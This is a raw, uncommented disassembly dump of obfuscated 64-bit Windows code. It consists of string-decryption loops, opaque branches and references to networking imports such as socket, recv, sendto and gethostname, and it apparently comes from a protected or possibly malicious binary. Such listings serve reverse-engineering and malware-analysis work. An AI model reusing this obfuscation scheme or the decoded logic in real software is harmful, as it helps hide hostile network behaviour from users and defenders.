sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085712
movabs rcx, 0xefb9dce6f45b3a3b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x63
dec rbx
inc rbx
jmp 0x140085712
movabs rdx, 0xe8a7cf238dc8f8b7
add rdx, rbx
movzx eax, r11b
and al, dl
dec dl
jmp 0x1400860f6
movabs rdx, 0xe195c1602736b733
add rdx, rbx
movzx eax, r11b
and al, dl
sub dl, 0x65
add al, al
movzx ecx, r11b
sub cl, al
add dl, cl
movabs rcx, 0x7610e26791361707
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x31
add cl, r11b
mov byte [rbp + rbx + 0xd90], cl
inc r9
dec rbx
inc rbx
jmp 0x140085712
movabs rcx, 0xd371a5d95a12342b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x2d
add r8, r9
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085712
mov r11, r10
movabs rcx, 0xcc5f9815f37ff2a7
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x6f
movabs rcx, 0x7d22f02af7c8588b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x33
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xd90], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xbee7739bd16ce8ec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x74
add cl, r11b
mov byte [rbp + rbx + 0xd90], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xd90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085712
movabs rcx, 0xc54d8a528cedb123
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0xb
movzx eax, byte [rbp + rbx + 0xd90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085712
movabs rcx, 0x2b1849a1127f0265
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x3d
jmp 0x140085710
movabs rcx, 0xa78f42bf5f35e1a3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x75
jmp 0x140085700
lea rsi, [rbp + 0x1510ebc]
jmp 0x14008629b
lea rsi, [rbp + 0x759f1d]
jmp 0x14008629b
lea rsi, [rbp + 0xd90]
lea rdx, [0x140236cf0]
lea rcx, [rbp + 0x5e0]
call fcn.140002660
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x80]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002800
cmp byte [rdi + 0x38], 0
jne 0x1400a3083
mov byte [rbp + 0xdb8], Ordinal_211
mov byte [rbp + 0xdb9], 0x81
mov byte [rbp + 0xdba], Ordinal_211
mov byte [rbp + 0xdbb], 0x3d
mov byte [rbp + 0xdbc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xdbd], 0x50
mov byte [rbp + 0xdbe], 0x43
mov byte [rbp + 0xdbf], 0x53
mov byte [rbp + 0xdc0], 0xde
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdc1], xmm0
mov qword [rbp + 0xdd1], rax
mov word [rbp + 0xdd9], ax
movabs r13, 0x43ca61ef264bd43b
movabs r14, 0x8f9a089e243868d7
movabs r12, 0x474e68fb7e949393
movzx r8d, byte [rsp + 0x40]
nop
mov r9, qword [0x14023d108]
mov r10, qword [0x14023d100]
nop
xor ebx, ebx
movabs rcx, 0xf8dbbd033e716f75
cmp rbx, 0x23
jae 0x140086c3e
movzx r11d, byte [rbp + rbx + 0xdb8]
mov edx, r11d
cmp r9, rbx
ja 0x140086c32
lea rax, [r10 + 1]
cmp r9, rax
jae 0x1400863c2
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x63
jmp 0x1400863f0
je 0x140086ba8
inc rax
cmp r9, rax
je 0x140086b41
lea rax, [r10 + 4]
cmp r9, rax
je 0x140086b20
lea rax, [r10 + 2]
cmp r9, rax
je 0x140086ac8
nop
cmp r10, rbx
ja 0x140086c26
lea rax, [r10 + 1]
cmp r9, rax
jae 0x140086422
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
add r8b, 0x1f
add r8b, dl
jmp 0x14008644e
je 0x140086aa3
inc rax
cmp r9, rax
je 0x140086a76
lea rax, [r10 + 7]
cmp r9, rax
je 0x140086a22
lea rax, [r10 + 2]
cmp r9, rax
je 0x1400869ed
nop
lea rax, [r10 + r9]
cmp rax, rbx
jbe 0x14008660c
nop dword [rax]
lea rax, [r10 + 0x42]
cmp r9, rax
je 0x1400865e7
lea rax, [r10 + 6]
cmp r9, rax
je 0x1400865b5
lea rax, [r10 + 0x41]
cmp r9, rax
je 0x14008658c
lea r9, [r10 + 0x10]
lea r10, [r9 + 0x41]
lea rax, [r10 + 2]
cmp r9, rax
jb 0x140086c01
lea rax, [r10 + 0x10]
cmp r9, rax
jb 0x140086bdc
lea rax, [r10 + 0x400]
cmp r9, rax
jb 0x1400864e9
lea r9, [r10 + 0x41]
lea r10, [r9 + 2]
lea rax, [r10 + 6]
cmp r9, rax
ja 0x140086556
lea rax, [r10 + 0x41]
cmp r9, rax
ja 0x14008652e
lea rax, [r10 + 0x64]
cmp r9, rax
ja 0x140086504
lea r9, [r10 + 0x20]
lea r10, [r9 + 0x64]
jmp 0x140086460
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r8d, [r11 + rcx]
sub r8b, 5
jmp 0x1400863f0
movabs rcx, 0x4f53adbb563553f4
add rcx, rbx
movzx eax, r11b
and al, cl
mov r8d, Ordinal_45
sub r8b, al
add r8b, r8b
add r8b, r11b
add r8b, cl
jmp 0x140086a41
movabs rdx, 0xc7bee9dd099dab7e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
sub r8b, 0x72
add r8b, dl
jmp 0x140086b5f
movabs rcx, 0x402a25febd060308
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r8d, [rcx + r11]
sub r8b, 0x38
movzx eax, byte [rbp + rbx + 0xdb8]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140086372
movabs rdx, 0x4e72abf84023241e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
jmp 0x140086a41
movabs rdx, 0xa88ad8a0c12cd9d0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
inc r10
dec rbx
inc rbx
jmp 0x140086372
movabs rdx, 0x20f614c27495315a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
sub r8b, 0x76
jmp 0x140086ae8
lea rax, [r10 + 1]
cmp r9, rax
jae 0x1400866db
lea rcx, [rbx + r13]
movzx eax, r11b
and al, cl
add al, al
movzx r8d, r11b
sub r8b, al
add r8b, 0x63
add r8b, cl
lea rax, [r10 + r9]
cmp rax, 0x7a
je 0x1400869c0
lea rax, [r10 + 1]
cmp r9, rax
jbe 0x14008677f
movabs rdx, 0x273955fc2011920f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
sub r8b, 0x69
add r8b, dl
cmp r9, 0x10
jae 0x140086951
lea rax, [r10 + 0x42]
cmp r9, rax
jbe 0x140086852
movabs rcx, 0xb6d35e9a4449fae6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r8d, [r11 + rcx]
sub r8b, 0x4a
cmp r10, 0x42
jb 0x140086941
movabs rdx, 0x2a3054942368f82
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r8d, [rcx*2 - 0x1c]
jmp 0x140086aeb
jne 0x140086717
movabs rdx, 0x1f34113c4870d1ae
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
movzx eax, byte [rbp + rbx + 0xdb8]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140086372
lea rax, [r10 + 3]
cmp r9, rax
jne 0x140086748
movabs rdx, 0x2e5d98f8e1a0229a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
sub r8b, 0x36
add r8b, dl
jmp 0x140086a41
lea rax, [r10 + 4]
cmp r9, rax
jne 0x140086633
movabs rcx, 0x4cb0a87213fec472
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r8d, [r11 + rcx]
sub r8b, 0x1e
dec rbx
inc rbx
jmp 0x140086372
jne 0x1400867aa
movabs rdx, 0xaece19da6ca93a85
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
add r8b, 0x5d
jmp 0x140086ae8
inc rax
cmp r9, rax
jne 0x1400867e0
movabs rcx, 0x3662ddb8b940e2fb
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r8d, [rcx + r11]
add r8b, 0x23
inc r10
dec rbx
inc rbx
jmp 0x140086372
lea rax, [r10 + 5]
cmp r9, rax
jne 0x14008681e
movabs rcx, 0x54b5ed31eb9f84d3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r8d, [rcx + r11]
add r8b, 0x3b
movzx eax, r8b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086372
lea rax, [r10 + 7]
cmp r9, rax
jne 0x140086671
movabs rdx, 0xdc4ab11038372d49
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
inc r8b
add r8b, dl
jmp 0x140086a41
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x140086895
movabs rdx, 0x3e68227890e1a35c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
movzx eax, byte [rbp + rbx + 0xdb8]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140086372
lea rax, [r10 + 3]
cmp r9, rax
jne 0x1400868d3
movabs rcx, 0xd5266e1376a89cbe
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r8d, [rcx + r11]
sub r8b, 0x32
movzx eax, r8b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086372
lea rax, [rcx + 1]
cmp r9, rax
jne 0x140086905
movabs rcx, 0x5cbb31f1c3404534
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r8d, [rcx + r11]
sub r8b, 0x6c
jmp 0x1400869a8
lea rax, [r10 + 7]
cmp r9, rax
jne 0x1400866a7
movabs rdx, 0x6be4b9ae5c6f9620
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r11b
add r8b, dl
dec rbx
inc rbx
jmp 0x140086372
mov byte [rbp + rbx + 0xdb8], r8b
inc rbx
jmp 0x140086372
movabs rcx, 0x8a37c9278ece37f8
add rcx, rbx
movzx eax, r11b
and al, cl
mov r8d, Ordinal_30
sub r8b, al
add r8b, r8b
add r8b, byte [rbp + rbx + 0xdb8]
add r8b, r11b
add r8b, cl
movabs rdx, 0xce022b16b51a0c33
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r8b
sub cl, al
sub cl, 0x65
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xdb8], cl
add r9, r10
movzx eax, r8b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086372
movabs rdx, 0x11cc8d05db65e06e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
sub r8b, byte [rbp + rbx + 0xdb8]
sub r8b, 2
add r8b, dl
jmp 0x140086a41
movabs rcx, 0x53d4eb6ed58d54fd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r8d, [r11 + rcx]
add r8b, 0x15
movzx eax, byte [rbp + rbx + 0xdb8]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140086372
movabs rcx, 0x44ab63b23c5e0411
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r8d, [r11 + rcx]
sub r8b, 0x77
movabs rcx, 0x5596eef501b1b4a9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x61
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xdb8], al
inc r10
add rax, r10
sub rbx, rax
jmp 0x140086b5f
movabs rcx, 0x9ec3905abd67b9c3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r8d, [r11 + rcx]
sub r8b, 0x55
inc r10
dec rbx
inc rbx
jmp 0x140086372
movabs rdx, 0x172ecc7c70d0114d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
sub r8b, 0x1b
jmp 0x140086ae8
movabs rdx, 0x80544bfd7a0c061
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
add r8b, 0x59
add r8b, dl
movabs rcx, 0x466d6738688263bd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x2b
add r11b, cl
mov byte [rbp + rbx + 0xdb8], r11b
inc r10
dec rbx
inc rbx
jmp 0x140086372
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r8d, [rcx + r11]
sub r8b, 0x33
dec rbx
inc rbx
jmp 0x140086372
movabs rcx, 0x52f3e9abbf7b2527
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r8d, [r11 + rcx]
sub r8b, 0x11
movabs rcx, 0x996150e427fd88e4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x3c
add r11b, cl
mov byte [rbp + rbx + 0xdb8], r11b
inc r9
mov rax, r15
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xdb8]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140086372
movabs rcx, 0xcb5f25cd72e37cb1
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r8d, [rcx + rdx]
add r8b, 0x29
movzx eax, byte [rbp + rbx + 0xdb8]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140086372
movabs rcx, 0x3824e13ee56542a7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r8d, [rcx + r11]
add r8b, 0x6f
jmp 0x14008636e
movabs rcx, 0xb0901d6098cd9a31
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r8d, [rcx + r11]
sub r8b, 0x57
jmp 0x14008635e
lea rcx, [rbp + 0x172a55c]
jmp 0x140086c45
lea rcx, [rbp + 0x7e7997]
jmp 0x140086c45
lea rcx, [rbp + 0xdb8]
mov dword [rbp + 0xf88], 0x64
mov dword [rbp + 0xf30], 0xffffff9c
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xf88]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf30]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.140037d20
mov byte [rbp + 0xde0], Ordinal_211
mov byte [rbp + 0xde1], 2
mov byte [rbp + 0xde2], Ordinal_217
mov byte [rbp + 0xde3], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0xde4], 0x3e
mov byte [rbp + 0xde5], Ordinal_60
mov byte [rbp + 0xde6], recv
mov byte [rbp + 0xde7], 2
mov byte [rbp + 0xde8], Ordinal_143
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xde9], xmm0
mov qword [rbp + 0xdf9], rax
mov word [rbp + 0xe01], ax
movabs rdi, 0x79407b7028e3088d
movabs rsi, 0xc10c559d3f64d713
movabs r12, 0x11f6e14e7bda0c99
movabs r14, 0x9d1e930047b0bde1
movabs r13, 0x7930d0634ffca4af
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140087b4f
movzx r11d, byte [rbp + rbx + 0xde0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140087b43
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140086d83
lea rcx, [rbx + r12]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x2f
jmp 0x140086db0
je 0x140087ab9
lea rax, [r9 + 3]
cmp r8, rax
je 0x140087a81
lea rax, [r9 + 6]
cmp r8, rax
je 0x140087a32
lea rax, [r9 + 4]
cmp r8, rax
je 0x140087a07
cmp r9, rbx
ja 0x140087b37
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x140086de2
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x25
add r10b, dl
jmp 0x140086e30
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400879b2
lea rax, [r9 + 3]
cmp r8, rax
je 0x140087987
lea rax, [r9 + 5]
cmp r8, rax
je 0x140087963
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400878c6
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400878a5
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008786f
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008749c
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140087477
lea rax, [r9 + 1]
cmp r8, rax
je 0x140087445
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140087416
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400873f2
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400873c9
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140087394
lea rax, [r9 + 5]
cmp r8, rax
je 0x140087370
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140087347
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140087311
lea rax, [r9 + 8]
cmp r8, rax
je 0x140086e40
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140087b12
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140087aed
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14008702f
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140087010
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140086ff1
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400872af
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140087254
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140087204
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400871d4
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140086e40
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x80]
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14008719a
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140087172
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14008714c
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140087117
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400870f2
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400870cc
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400870a1
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140087073
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008704d
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140086e40
lea r8, [r9 + 0x64]
lea r9, [r8 + 8]
jmp 0x140086e40
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x7b
add r10b, dl
jmp 0x140086e30
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x27
add r10b, dl
jmp 0x140086db0
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x37
add r10b, dl
jmp 0x140086d45
movabs rdx, 0xca03db8147184468
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400879d2
movabs rcx, 0xa61618e44f642b36
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7a
inc r9
dec rbx
inc rbx
jmp 0x140086d32
movabs rcx, 0x8228564757b01204
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1c
dec rbx
inc rbx
jmp 0x140086d32
movabs rdx, 0x5e3a93aa5ffbf8d2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140087a52
movabs rcx, 0x3a4cd10d6847dfa0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
jmp 0x140087aa1
movabs rcx, 0x165f0e707093c66e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 2
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086d32
movabs rdx, 0xf2714bd378dfad3c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400878e6
movabs rdx, 0xce838936812b940a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x46
add r10b, dl
jmp 0x140087919
movabs rdx, 0xaa95c69989777ad8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xde0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086d32
movabs rcx, 0x50c360111e353bdb
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 3
mov byte [rbp + rbx + 0xde0], r10b
inc rbx
jmp 0x140086d32
movabs rdx, 0x2cd59d74268122a9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x61
add r10b, dl
cmp r9, 6
jb 0x1400871f4
movabs rcx, 0x285dc54558e104f6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x74]
jmp 0x1400879d5
movabs rcx, 0x8e7dad72ecd0977
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x41
cmp r8, 6
jae 0x140087818
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400876fc
movabs rdx, 0xc1142b23abd80902
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xe
jmp 0x140087224
movabs rcx, 0xe4fa183a3718f045
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x140087845
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400875e4
movabs rdx, 0x47d3afb382f50075
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x33
add r10b, dl
jmp 0x140087273
movabs rcx, 0xd782e4a0f552334e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x22
movzx eax, byte [rbp + rbx + 0xde0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086d32
movabs rdx, 0xb3952203fd9e1a1c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140087919
movabs rcx, 0x8fa75f6705ea00ea
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
jmp 0x1400878e9
movabs rcx, 0x6bb99cca0e35e7b8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 8
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086d32
movabs rdx, 0x47cbda2d1681ce86
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140087aa1
movabs rcx, 0x23de17901ecdb554
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x140087a55
movabs rdx, 0xfff054f327199c22
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140086d32
movabs rdx, 0xdc0292562f6582f0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140086d32
movabs rdx, 0xb814cfb937b169be
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x32
jmp 0x1400879d2
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400874c8
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2f
add r10b, dl
jmp 0x1400872ce
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008750b
movabs rdx, 0xf280f6e051c6111a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xde0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086d32
inc rax
cmp r8, rax
jne 0x14008753c
movabs rdx, 0x3a5c7c1a412e437e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x72
jmp 0x1400878e6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008757e
movabs rdx, 0x5e4a3eb738e25cb0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086d32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400875b1
movabs rdx, 0xa625c3f1284a8f14
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140087a52
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400872ce
movabs rdx, 0x11ef0bc80f66daaa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400879d2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140087616
movabs rdx, 0x6bc172507aa919a7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x6f
jmp 0x1400879d2
inc rax
cmp r8, rax
jne 0x140087649
movabs rcx, 0xb39cf78a6a114c0b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4d
dec rbx
inc rbx
jmp 0x140086d32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008767b
movabs rcx, 0xfb787cc459797e6f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 9
jmp 0x140087aa1
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400876b9
movabs rcx, 0x1f663f61512d97a1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x67
